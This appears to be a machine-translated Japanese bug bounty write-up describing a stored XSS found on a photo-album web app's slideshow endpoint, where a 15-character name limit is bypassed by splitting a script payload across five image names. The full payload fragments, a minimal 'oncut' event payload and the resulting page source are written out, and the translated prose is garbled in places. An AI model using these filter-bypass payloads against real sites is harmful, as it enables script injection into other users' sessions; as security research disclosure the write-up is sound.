ソース:
訳:
2019 年に私は、ユーザーがフォト アルバムを作成してそこに写真をアップロードできる Web アプリケーションをテストしていました。
インターフェイスは以下のスクリーンショットのようになっていました。
をクリックすると画像の名前を変更するオプションもあります
また、 [編集] 。写真の名前を変更する方法があるため、通常、研究者はここで XSS をテストします。
そこで、写真の名前をペイロードの下に変更し。
xsstest'">{{7*7}}
それから私は次のことに気づきました -
- その入力には 15 文字の制限があるため、挿入することができました
xsstest'">{{7*7
これらの文字を。 - すべての特殊文字は適切にエスケープされていて。
- そしてついに、 WAF のせいでそのアルバムを再度ロードしようとすると/error.aspx?code=500 に変更する必要があり にリダイレクトされ、画像の名前をxsstest 、その後アルバムを再度ロードすることができて。
この入力は XSS 攻撃から十分に保護されているようで。
次に、他の利用可能なオプションを試し始め、ブラウザに接続した Burp Suite ツールを ブラウザを開いたままにして、すべてのバックグラウンド リクエストを HTTP 履歴 にキャプチャし。
タブを確認しているときに、 次に、 [HTTP 履歴] ?json={albums:[{"id":"<picture_ID] のようなバックグラウンド リクエスト エンドポイントが目に留まり。
https://subdomain.company.com/ajax/generateImageList.ashx?json={albums:[{"id":"<picture_ID>","value":"on"}]} 。 このリクエストはアルバム スライドショー オプションに対するもので、そのエンドポイント ページ ソースは次のとおりで:-
<a href="https://image-link.com/image.jpg" title="xsstest" rel="lightbox[gallery]">84**00000</a>
属性値を見て、 title そのアルバム内の画像名を確認してください。
そこでもう一度写真の名前を次のように変更しました xsstest'">
そしてもう一度 ajax/generateImageList.ashx ページのソースを確認しましたが、今回は -
<a href="https://image-link.com/image.jpg" title="xsstest'">" rel="lightbox[gallery]">84**00000</a>
したがって、この新しいgenerateImageList.ashxエンドポイントでは -
- ユーザー入力が適切にエスケープされません。
- WAF が検出されません。
しかし、この xss は役に立たない 15 文字の制限がまだあり。
このシナリオで考えられる最小の xss ペイロードは次のとおりで。 "oncut="alert()
これを押すと空のポップアップが表示されます CTRL+X
および Windows COMMAND+X
の OS X キーボード:-
<a href="https://image-link.com/image.jpg" title=""oncut="alert()" rel="lightbox[gallery]">84**00000</a>
この文字制限を回避するためにあらゆる方法を試しましたが、できませんでした。
ここでテストを中止し、 このエンドポイントについてTo Do リストの このアセットを再度テストするときにここで確認できるように、 メモに保存しました。
約 7 か月後、私は再びこの資産のテストを開始し、このエンドポイントに再び取り組み。
アルバムに複数の写真をアップロードでき、アルバムのすべての写真を選択すると、 スライドショー オプションのリクエスト エンドポイントが https://subdomain.company.com/ajax/generateAlbumImageList.ashx?json={albums:[{"id":"<album_ID>","value":"on"}]} 、そのページのソースは :-
<a href="https://image-link.com/image.jpg" title="xsstest'">" rel="lightbox[gallery]">84**00000</a><a href="https://image-link.com/image.jpg" title="xsstest'">" rel="lightbox[gallery]">84**00001</a>
したがって、ここでは複数の注入が行われています。 では、アルバムに 5 枚の写真をアップロードして、私のツイート で言及されたペイロードを使用してみてはいかがでしょうか。
Payload :
- 1st Injection:
*/</script><!--
- 2nd Injection:
*/.domain)/*xxx
- 3rd Injection:
*/(document/*xx
- 4th Injection:
*/prompt/*xxxxx
- 5th Injection:
"><script>/*xss
Page source after final injection become :
<a href="https://image-link.com/image.jpg" title=""><script>/*xss" rel="lightbox[gallery]">84**00000</a><a href="https://image-link.com/image.jpg" title="*/prompt/*xxxxx" rel="lightbox[gallery]">84**00001</a><a href="https://image-link.com/image.jpg" title="*/(document/*xx" rel="lightbox[gallery]">84**00002</a><a href="https://image-link.com/image.jpg" title="*/.domain)/*xxx" rel="lightbox[gallery]">84**00003</a><a href="https://image-link.com/image.jpg" title="*/</script><!--" rel="lightbox[gallery]">84**00004</a>
にアクセスすると https://subdomain.company.com/ajax/generateAlbumImageList.ashx?json={albums:[{"id":"<album_ID>","value":"on"}]} 、ペイロードが実行されます。使用済み :-
ここで、なぜ私が使用したのか疑問に思われるかもしれません x
に文字が複数回含まれています 2 番目から 5 番目の ペイロード か?
答えは、アルバム画像が名前の長さとアップロードされた時間に基づいて並べ替えられることです。
それで私は使用しました x
すべての画像名の長さを同じにするために文字を複数回入力すると、画像をアップロードするときに画像のアップロード時間に基づいて並べ替えられます。
ほなほな。